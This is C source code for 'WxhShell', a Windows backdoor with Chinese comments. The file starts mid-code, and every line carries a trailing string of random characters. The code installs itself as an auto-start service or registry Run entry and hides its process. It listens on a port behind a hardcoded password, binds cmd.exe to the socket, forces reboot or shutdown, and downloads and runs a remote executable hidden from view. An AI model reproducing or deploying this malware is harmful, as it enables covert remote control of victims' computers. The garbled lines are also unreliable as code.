    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); # &o3[.)9  
    if(Boot(SHUTDOWN)) v"Fa_+TVx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GmB7@-[QA%  
    else { b,8W |  
    closesocket(wsh); Pm6/sO  
    ExitThread(0); lN)U8  
    } cejSGsW6q  
    break; C XZm/^  
    } n0kBLn  
  // 获取shell -82Rz   
  case 's': { zo&'2I  
    CmdShell(wsh); _H|x6X1-  
    closesocket(wsh); |<P]yn  
    ExitThread(0); P'GX-H  
    break; TGGeTtk=  
  } j8!fzJG  
  // 退出 [L8Bgw1  
  case 'x': { _K>cB<+d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K>9]I97g'  
    CloseIt(wsh); 7M<Ae D%  
    break; I3D8xl>P\  
    } <*~vZT i(  
  // 离开 Q i#%&Jz>f  
  case 'q': { Z16G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WaQCq0Enj  
    closesocket(wsh); /NaI Mo 5  
    WSACleanup(); b&B<'Wb  
    exit(1); SY_T\ }  
    break; jm'(t=Ze  
        } SJ;u,XyWn  
  } /Ws@YP  
  } *;8tj5du  
oorit  
  // 提示信息 -kxNJ Gc?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PmO utYV  
} MRi QaUg2  
  } mF [w-<:.d  
xxgS!J  
  return; f2B?Zn  
} G*ZHLLO4S\  
J{Ei+@^/9  
// shell模块句柄 B@` 87  
int CmdShell(SOCKET sock) R4u=.  
{ 0#KDvCBJ  
STARTUPINFO si; J5}-5sV^  
ZeroMemory(&si,sizeof(si)); pj G6v(zK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2f16 /0J@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7^#f<m;Ar!  
PROCESS_INFORMATION ProcessInfo; eyy{z;D8r  
char cmdline[]="cmd"; u[dR*o0'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ey=(B'A~  
  return 0; M2_sxibI  
} u{yENZ^P  
[ /w{,+U  
// 自身启动模式 cHs@1R/-s  
int StartFromService(void) $R%xeih1fz  
{ g8 ,V( ^  
typedef struct ")"VQ|$y  
{ 2@@OjeANsX  
  DWORD ExitStatus; |\%[e@u  
  DWORD PebBaseAddress; kMAQHpDD  
  DWORD AffinityMask; rY_)N^B|nF  
  DWORD BasePriority; ao#{N=mn  
  ULONG UniqueProcessId; s\,F 6c  
  ULONG InheritedFromUniqueProcessId; -z./6dQ  
}   PROCESS_BASIC_INFORMATION; o {Sc  
\:]Clvc  
PROCNTQSIP NtQueryInformationProcess; VG^*?62  
q3adhY9|)0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O&Q_ vY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N^pTj<M<g  
OACRw%J:X{  
  HANDLE             hProcess; M5s>;q)  
  PROCESS_BASIC_INFORMATION pbi; j|TcmZGO  
N}b/; Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kB {  
  if(NULL == hInst ) return 0; S(eCG2gR  
,y>,?6:>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I3]-$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?*|AcMw5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); im|( 4 f  
#\[h.4i  
  if (!NtQueryInformationProcess) return 0; Q{T6t;eH  
7T9m@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MWl?pG!Y  
  if(!hProcess) return 0; [ X]yj  
KSnU;B6w>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J^8(h R  
:0x,%V74_!  
  CloseHandle(hProcess); A94ZG:   
'=K [3%U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bhDV U(%I6  
if(hProcess==NULL) return 0; ma[%,u`  
c""*Ng*T  
HMODULE hMod; >UvLeS2h:y  
char procName[255]; v=e`e68U~  
unsigned long cbNeeded; `&2~\o/  
bD*V$w*P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {I0b%>r=  
+?Vj}p;  
  CloseHandle(hProcess); q&OF?z7H  
u+%Ca,6  
if(strstr(procName,"services")) return 1; // 以服务启动 EITA[Ba B`  
L)W1bW}  
  return 0; // 注册表启动 /|V!2dQs"  
} ]Ir{9EE v  
ZDuP|" ^  
// 主模块 (T:OZmEO.  
int StartWxhshell(LPSTR lpCmdLine) XG FjqZr`  
{ oU`8\ n](  
  SOCKET wsl; <"F\&M`G  
BOOL val=TRUE; @zo}#.g  
  int port=0; wZB:7E%  
  struct sockaddr_in door; 2(M^8Bl  
)Be?axI  
  if(wscfg.ws_autoins) Install(); d5h]yIz^  
3<.]+ukm  
port=atoi(lpCmdLine); (?R;u>  
TP7'tb  
if(port<=0) port=wscfg.ws_port; q-kMqnQ  
Syv[ [Ek  
  WSADATA data; "~-H]9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QP/%+[E.  
M &`ZF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8w1TX [b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pa4,W!t  
  door.sin_family = AF_INET; [P~6O>a5p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qYo"-D*  
  door.sin_port = htons(port); ZI.;7G@|  
ZS&>%G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *FhD%><  
closesocket(wsl); xuBXOr4"P  
return 1; Mx? ]7tI  
} y.,S}7l:  
/){F0Zjjt  
  if(listen(wsl,2) == INVALID_SOCKET) { |^!#x Tj  
closesocket(wsl); XfY~q~f8  
return 1; EC9D.afy&  
} u\LG_/UJV1  
  Wxhshell(wsl); :sO^b*e /  
  WSACleanup(); ;VM',40  
5'iJN$7  
return 0; mBW E^  
$p_FrN{  
} [4qCW{x._  
Xc)V;1  
// 以NT服务方式启动 %f??O|O3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w1Ar[ P  
{ ttQX3rmF01  
DWORD   status = 0; i>=d7'oR  
  DWORD   specificError = 0xfffffff; dLA'cQId  
Qa*?iD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _D{zB1d\0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ qFE6!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K&1o!<|  
  serviceStatus.dwWin32ExitCode     = 0; u=j|']hp#&  
  serviceStatus.dwServiceSpecificExitCode = 0; 2hB';Dv  
  serviceStatus.dwCheckPoint       = 0; O5}/OH|j  
  serviceStatus.dwWaitHint       = 0; +Smt8O<N  
Q2^~^'Y k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YA(_*h  
  if (hServiceStatusHandle==0) return; <(|No3jx  
}m '= _u  
status = GetLastError(); 6@0 wKV!D  
  if (status!=NO_ERROR) 1X-KuGaD  
{ aJh=4j~.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MYVUOd,  
    serviceStatus.dwCheckPoint       = 0; 7\.Ax  
    serviceStatus.dwWaitHint       = 0; PT2b^PP  
    serviceStatus.dwWin32ExitCode     = status; >Hh8K<@NL  
    serviceStatus.dwServiceSpecificExitCode = specificError; E>_?9~8Mf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  }qf9ra  
    return; t<`h(RczHI  
  } O_ }ZSB8"  
- 0t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XD1 x*#  
  serviceStatus.dwCheckPoint       = 0; iC U [X&  
  serviceStatus.dwWaitHint       = 0; wLa^pI4p ^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bXN-q!  
} &5 *)r@+  
[w iI  
// 处理NT服务事件,比如:启动、停止 y&y(<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5fh@nR  
{ w1zI"G~4/Q  
switch(fdwControl) iU)-YFO  
{ D+ki2UVt&  
case SERVICE_CONTROL_STOP: NW-l_]k  
  serviceStatus.dwWin32ExitCode = 0; bYzBe\^3q3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *q5'~)W<  
  serviceStatus.dwCheckPoint   = 0; 0 O{Y Vk`  
  serviceStatus.dwWaitHint     = 0; B x(+uNQ  
  { )p.+39]{2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >M` swEj  
  } eYL7G-3  
  return; X^3 0a*sj  
case SERVICE_CONTROL_PAUSE: YK# QH"}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `_2#t1`u  
  break; +MQvq\%tG  
case SERVICE_CONTROL_CONTINUE: 7f4R5c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q.(p.uD  
  break; >40B Fxc  
case SERVICE_CONTROL_INTERROGATE: Q:LyD!at  
  break; gbc^Lb  
}; ^q"wd?((h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qA- ya6  
} M/U$x /3K  
&}Y_EHj}  
// 标准应用程序主函数 %iPu51+=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q9K+k*?{N  
{ 0F'75  
CK e  
// 获取操作系统版本 {GF>HHQb  
OsIsNt=GetOsVer(); ^qpa[6D6x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vOYcS$,^X%  
B0c}5V  
  // 从命令行安装 '-#6;_ i<  
  if(strpbrk(lpCmdLine,"iI")) Install(); +n(H"I7cU  
,2>:h"^  
  // 下载执行文件 b("JgE`  
if(wscfg.ws_downexe) { YY I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -X@;"0v  
  WinExec(wscfg.ws_filenam,SW_HIDE); oeXNb4; 4  
} >J=x";,D|~  
(PYUfiOf  
if(!OsIsNt) { {nQ}t }B  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fqzk/m  
HideProc(); JxQwxey{  
StartWxhshell(lpCmdLine); *jWU8.W  
} PF.sM(  
else 4Uz:zB  
  if(StartFromService()) #e%.z+7I  
  // 以服务方式启动 aMTY{  
  StartServiceCtrlDispatcher(DispatchTable); ]P0DPea  
else C# r_qn  
  // 普通方式启动 tC+9W1o  
  StartWxhshell(lpCmdLine); b* Ipg8n+  
-<#n7b  
return 0; i7~oZ)w  
} ej,MmLu~^  
Y=G *[G#  
}wR)p  
ZLvw]N&R  
=========================================== 4x'^?0H@  
1elx~5v1.=  
=nnS X-x  
yh_s(>sh  
PqcuSb6  
Tu_dkif'  
" OxF\Hm)(  
pb%#`2"  
#include <stdio.h> 3Gn2@`GC  
#include <string.h> 9BANCW"  
#include <windows.h> lGB7(  
#include <winsock2.h> X_ >B7(k   
#include <winsvc.h> ^OG^% x"  
#include <urlmon.h> V`69%35*@  
>1ZMQgCG  
#pragma comment (lib, "Ws2_32.lib") cXJgdBwo  
#pragma comment (lib, "urlmon.lib") _0F6mg n  
IJ, ,aCj4g  
#define MAX_USER   100 // 最大客户端连接数 VhSKtD1  
#define BUF_SOCK   200 // sock buffer xSb/9 8;  
#define KEY_BUFF   255 // 输入 buffer ~s^&*KaA  
 1 ,PFz  
#define REBOOT     0   // 重启 mC~W/KReA  
#define SHUTDOWN   1   // 关机 c%~'[W04\  
{yyg=AMz  
#define DEF_PORT   5000 // 监听端口 svpWABO  
! # tRl  
#define REG_LEN     16   // 注册表键长度 ECkfFE`  
#define SVC_LEN     80   // NT服务名长度 q\#3G  
@7lZ{jV$  
// 从dll定义API jZv8X 5i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8zj09T[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l^`!:BOtR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k9 *0xukJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >mF`XbS  
8KWT d  
// wxhshell配置信息 `?JrC3  
struct WSCFG { C,PCU<q  
  int ws_port;         // 监听端口 Rl5}W\&  
  char ws_passstr[REG_LEN]; // 口令 N#.IpY'7Ze  
  int ws_autoins;       // 安装标记, 1=yes 0=no `ss]\46>  
  char ws_regname[REG_LEN]; // 注册表键名 3"[ KXzn  
  char ws_svcname[REG_LEN]; // 服务名 s* 9tWSd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <i`EP/x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c<&+[{|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !.t'3~dUf$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /HzhgMV3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nBiSc*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0^(.(:  
U}A+jJ  
}; q=?"0i&V  
6C]!>i}U  
// default Wxhshell configuration Zl,K#  
struct WSCFG wscfg={DEF_PORT, OD1ns  
    "xuhuanlingzhe", r)j#Skh].  
    1, qE,%$0g  
    "Wxhshell", O1#rCFC|y  
    "Wxhshell", hChM hc  
            "WxhShell Service", ; wHuL\  
    "Wrsky Windows CmdShell Service", h y[_  
    "Please Input Your Password: ", DBmcvC  
  1, Olxb`x  
  "http://www.wrsky.com/wxhshell.exe", =m/2)R{  
  "Wxhshell.exe" e9B,  
    }; W)4xO>ck*3  
n@mUQ6  
// 消息定义模块 xBw"RCBz^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; },Z -w_H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BK /;H G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v>R.M"f  
char *msg_ws_ext="\n\rExit."; Ej34^*m9k  
char *msg_ws_end="\n\rQuit."; gdG: &{|x  
char *msg_ws_boot="\n\rReboot..."; +$ -#V   
char *msg_ws_poff="\n\rShutdown..."; gSe{ S  
char *msg_ws_down="\n\rSave to "; moo>~F _^  
mmjB1 L  
char *msg_ws_err="\n\rErr!"; t!iF(R\  
char *msg_ws_ok="\n\rOK!"; wUV%NZB  
LB{a&I LG  
char ExeFile[MAX_PATH]; 8 Zj>|u  
int nUser = 0; 73<iK]*c  
HANDLE handles[MAX_USER]; \U-5&,fP  
int OsIsNt; EEo+#  
YJL=|v  
SERVICE_STATUS       serviceStatus; X1'Ze,34  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ud#8`/!mq  
&1u ?W%(Px  
// 函数声明 :<(<tz7dj  
int Install(void); *xjIl<`pK  
int Uninstall(void); R;.WOies4  
int DownloadFile(char *sURL, SOCKET wsh); -"nYCF  
int Boot(int flag); G7=8*@q>:  
void HideProc(void); a #0{tZd  
int GetOsVer(void); h n ]6he  
int Wxhshell(SOCKET wsl); =lmh^**4  
void TalkWithClient(void *cs); JR>B<{xB  
int CmdShell(SOCKET sock); .z4FuG,R  
int StartFromService(void); !*ucVv;  
int StartWxhshell(LPSTR lpCmdLine); >5gzo6j/  
bG&qgbN>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H5%I?ZXw4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Qv=Z  
_k@l-Bj  
// 数据结构和表定义 #FQVhgc  
SERVICE_TABLE_ENTRY DispatchTable[] = 52 A=c1kb  
{ yTvK)4&  
{wscfg.ws_svcname, NTServiceMain}, YOoP]0'L  
{NULL, NULL} 1M{#"t{6  
}; hWu)0t  
3gh^a;uC  
// 自我安装 N}h%8\  
int Install(void) K;ML'  
{ ;$/G T  
  char svExeFile[MAX_PATH]; ujh4cp  
  HKEY key; &tOD  
  strcpy(svExeFile,ExeFile); '[E_7$d  
xr2:bu  
// 如果是win9x系统,修改注册表设为自启动 }<S2W\,G  
if(!OsIsNt) { !Ch ya  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n 3]y$wK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lgfr"{C  
  RegCloseKey(key); srkOa d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < KA@A}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7(;VUR%%.  
  RegCloseKey(key); qTGy\i  
  return 0; ZSSgc0u^?  
    } ?yb{DZ46  
  } 5`DH\VD.j  
} `7A@\Ha3  
else { NeEV !V8  
fpi6pcof  
// 如果是NT以上系统,安装为系统服务 Q!{Dw :7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )1,&YJM*6l  
if (schSCManager!=0) cOgtBEhn  
{ iy"K g]  
  SC_HANDLE schService = CreateService 'W*F[U*&HP  
  ( rY= #^S  
  schSCManager, 463dLEd  
  wscfg.ws_svcname, }{y$$X<:  
  wscfg.ws_svcdisp, BSf"'0I&  
  SERVICE_ALL_ACCESS, u\wd<<I']  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qh 3f  
  SERVICE_AUTO_START, xL"% 2nf  
  SERVICE_ERROR_NORMAL, F)w83[5_d  
  svExeFile, 8IH gsW";  
  NULL, I2T2'_I  
  NULL, k#&SWp=  
  NULL, .#J3UZ  
  NULL, co80M;4  
  NULL : \OvVS/  
  ); ~dLZ[6Z  
  if (schService!=0) nSiNSLv  
  { H%N+V r3O,  
  CloseServiceHandle(schService); ' ^^K#f8  
  CloseServiceHandle(schSCManager); NZ5~\k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nE;gM1I  
  strcat(svExeFile,wscfg.ws_svcname); ?OyW|jL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SI9hS4<j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0Kk*~gR?  
  RegCloseKey(key); pH [lj8S  
  return 0; h)vTu%J:  
    } xn8B|axB  
  } LH;G :  
  CloseServiceHandle(schSCManager); ^ym{DSx  
} ^aCYh[=  
} WRyLpTr-  
J.l%H U  
return 1; $H}Mn"G  
} y~jIA p  
mN el3J3  
// 自我卸载 )M 0O=Cl1  
int Uninstall(void) Z(M)2  
{ !X8R  
  HKEY key; u'1=W5$rK  
!?/bK[ P,  
if(!OsIsNt) { Uzn|)OfWP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QO/7p]$_  
  RegDeleteValue(key,wscfg.ws_regname); \[EWxu  
  RegCloseKey(key); {Xd5e@:Js  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $"{3i8$3mT  
  RegDeleteValue(key,wscfg.ws_regname); Q%2Lyt"(  
  RegCloseKey(key); z:5ROlk0  
  return 0; G{~p.?f:  
  } ooSd6;'  
} Dt.Wb&V_w  
} / nFw  
else { X)OP316yx  
Qu_T&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hp4(f W  
if (schSCManager!=0) o7XRa]O  
{ #U D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DG?\6Zh  
  if (schService!=0) TWEqv<c  
  { ;@ X   
  if(DeleteService(schService)!=0) { J*X.0&Toc  
  CloseServiceHandle(schService); J9.p8A^^2  
  CloseServiceHandle(schSCManager); E(_I3mftm  
  return 0; nk 9 K\I  
  } reJ?38(  
  CloseServiceHandle(schService); 0 _}89:-  
  } ;_5 =g  
  CloseServiceHandle(schSCManager); |7x^@i9w  
} [frD L)  
} R}9jgB  
2z# @:Q  
return 1; R7c)C8/~  
} c[lob{,  
-yGm^EwP  
// 从指定url下载文件 1>y=i+T/b  
int DownloadFile(char *sURL, SOCKET wsh) /,Id_TTCO  
{ 'a?.X _t  
  HRESULT hr; $ow`)?sh  
char seps[]= "/"; F)kLlsp  
char *token; <9tG_  
char *file; vXQmEIm  
char myURL[MAX_PATH]; <# r.}T.l  
char myFILE[MAX_PATH]; f+Li'?  
C*e[CP@u  
strcpy(myURL,sURL); g 'a?  
  token=strtok(myURL,seps); 72vGfT2HtZ  
  while(token!=NULL) =e-aZ0P  
  { x>" JWD  
    file=token; TbAdTmW  
  token=strtok(NULL,seps); XPo'iI-  
  } igj@{FN  
*"{Z?< 3  
GetCurrentDirectory(MAX_PATH,myFILE); c.A/{a  
strcat(myFILE, "\\"); b\m( 0/x  
strcat(myFILE, file); kdPm # $-  
  send(wsh,myFILE,strlen(myFILE),0); N: jiZ)  
send(wsh,"...",3,0); n12c075  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P\6T4s  
  if(hr==S_OK) ^GaPpm  
return 0; ~.`r(  
else Ny7=-]N4{"  
return 1; nL 07^6(  
OVSq8?L  
} &\` a5[  
QN&^LaB<T  
// 系统电源模块 R&_\&:4f  
int Boot(int flag) OrJlHMz  
{ )TG0m= *  
  HANDLE hToken; LNxE-Dp  
  TOKEN_PRIVILEGES tkp; ^_h7!=W  
wK`ieHmp  
  if(OsIsNt) { R6Z}/m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KXA)i5z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ::R00gd  
    tkp.PrivilegeCount = 1; [pFu ] ^X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xp8f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); seU^IC<  
if(flag==REBOOT) { 'Qq_Xn8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SJc@iffS  
  return 0; KM(9& 1/  
} jP.b oj_u*  
else { 9`n) "r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S@zkoj@  
  return 0; )'dH}3Ba  
} R{KIkv  
  } )^>XZ*eK  
  else { t:s q*d  
if(flag==REBOOT) { O0(Q0Ko  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F@'rP++4  
  return 0;  {%~4RZA  
} C 3XZD4.2  
else { #Q7x:,f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "~2#!bK7  
  return 0; 4J 51i*`  
} dtnet_j  
} pvQK6r  
>g"M.gW  
return 1; [gns8F#H\  
} Y0fO.k#C^  
!a&SB*%^I3  
// win9x进程隐藏模块 #!u51P1  
void HideProc(void) $EGRaps{j>  
{ V]kGcS}  
u}LX,B-n(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m5em<P!G  
  if ( hKernel != NULL ) ]v\egfW,W  
  { j5h 6u,^:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d J%Rk#?;A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M$4=q((0  
    FreeLibrary(hKernel); ~z _](HKoS  
  } @?7{%j*  
3JZWhxkf[$  
return; {+ 6D-rDw  
} V>jhGf  
PSf5p\<5  
// 获取操作系统版本 71/m.w  
int GetOsVer(void) W aGcoj  
{ X})Imk7&E  
  OSVERSIONINFO winfo; .F$|j1y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 87pXv6'FQ  
  GetVersionEx(&winfo); !MJe+.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,Lun-aMd  
  return 1; L}jF#*Q%  
  else vG<pc_ak  
  return 0; ?9gTk \s?R  
} %V(N U_o  
71.\`'  
// 客户端句柄模块 oAZF3h]po  
int Wxhshell(SOCKET wsl) lHKf#|  
{ -?YTQ@ W  
  SOCKET wsh; 5%Oyvt]}2  
  struct sockaddr_in client; b~r{J5x@  
  DWORD myID; W\qLZuQ  
G]mWaA  
  while(nUser<MAX_USER) >'}=.3\  
{ ey\m)6A$  
  int nSize=sizeof(client); E R]sDV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BF@5&>E  
  if(wsh==INVALID_SOCKET) return 1; qQxA@kdd  
V@ _-H gg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (e8G (  
if(handles[nUser]==0) ]Q4PbW  
  closesocket(wsh); WfDX"rA  
else M,t*nG  
  nUser++; C3\E.u ?  
  } "7yNKO;W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &`yOIX-H_  
y5/'!L)g  
  return 0; `/w\2n  
} R{) Q1~H=q  
hY=w|b=Y  
// 关闭 socket Rj} o4s2x  
void CloseIt(SOCKET wsh) 4g7ja   
{ ran^te^Ks(  
closesocket(wsh); WfRfx#MMt  
nUser--; S~k*r{?H})  
ExitThread(0); 6hM]%  
} sp=OT-Pfp  
!0ce kSesr  
// 客户端请求句柄 oe!:|ck<  
void TalkWithClient(void *cs) WDE e$k4.  
{ 4O`6h)!NQ  
l801` ~*gO  
  SOCKET wsh=(SOCKET)cs; WGh. ;-  
  char pwd[SVC_LEN]; wy{\/?~c  
  char cmd[KEY_BUFF]; )d +hZ'  
char chr[1]; 6X7s 4  
int i,j; g5[D&  
' :\fl.b  
  while (nUser < MAX_USER) { tx0Go'{  
L6:W'u^  
if(wscfg.ws_passstr) { F&QTL-pQW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3ar=1_Ar  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aqs%m (  
  //ZeroMemory(pwd,KEY_BUFF); J]}FC{CD!  
      i=0; >*dQqJI  
  while(i<SVC_LEN) { kDzj%sm!  
*me,(C  
  // 设置超时 WY+(]Wkao  
  fd_set FdRead; LY-lTr@A^  
  struct timeval TimeOut; }iilzE4oH#  
  FD_ZERO(&FdRead); "v(G7*2  
  FD_SET(wsh,&FdRead); U_}7d"<| ?  
  TimeOut.tv_sec=8; B(j02<-  
  TimeOut.tv_usec=0; 8FzHNG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~->Hlxze'K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |JUe>E*  
tu\mFHvlg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %won=TG8  
  pwd=chr[0]; ~ww?Emrw  
  if(chr[0]==0xd || chr[0]==0xa) { lDW!Fg  
  pwd=0; Ue(r} *  
  break; -IBO5;2_  
  } x*.Ye 5Jb  
  i++; Yd' H+r5b  
    } 3{N\A5 ~  
c 9rVgLqn!  
  // 如果是非法用户,关闭 socket F =XF]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]7a;jNQu  
} [6D>f?z  
8HMo.*Ti9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rdO@X9z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C"6 Amnj  
Bvz62?  
while(1) { Wk@ eV\H71  
q0&Wk"X%rr  
  ZeroMemory(cmd,KEY_BUFF); <rNtY,  
ht?CH Uu  
      // 自动支持客户端 telnet标准   n0_B(997*  
  j=0; : *ERRSL)  
  while(j<KEY_BUFF) { D" L|"qJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cV-i*L4X  
  cmd[j]=chr[0]; $`|5/,M%QN  
  if(chr[0]==0xa || chr[0]==0xd) { -#Np7/  
  cmd[j]=0; I(pb-oY3!I  
  break; 81Z4>F:  
  } ?>sQF4 V"  
  j++; Dk6?Nwy"  
    } EMLx?JnP  
osl=[pm  
  // 下载文件 \}Dpb%^\  
  if(strstr(cmd,"http://")) { W. ^Ei\w/t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cz_AJ-WR  
  if(DownloadFile(cmd,wsh)) X E 9)c   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2s 7mI'  
  else e1Ob!N-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MRQZIi  
  } C` pp  
  else { ?cJY B)  
~z5@V5 z  
    switch(cmd[0]) { F) ?o,  
  Y)|~:& tZ  
  // 帮助 <yZP|_  
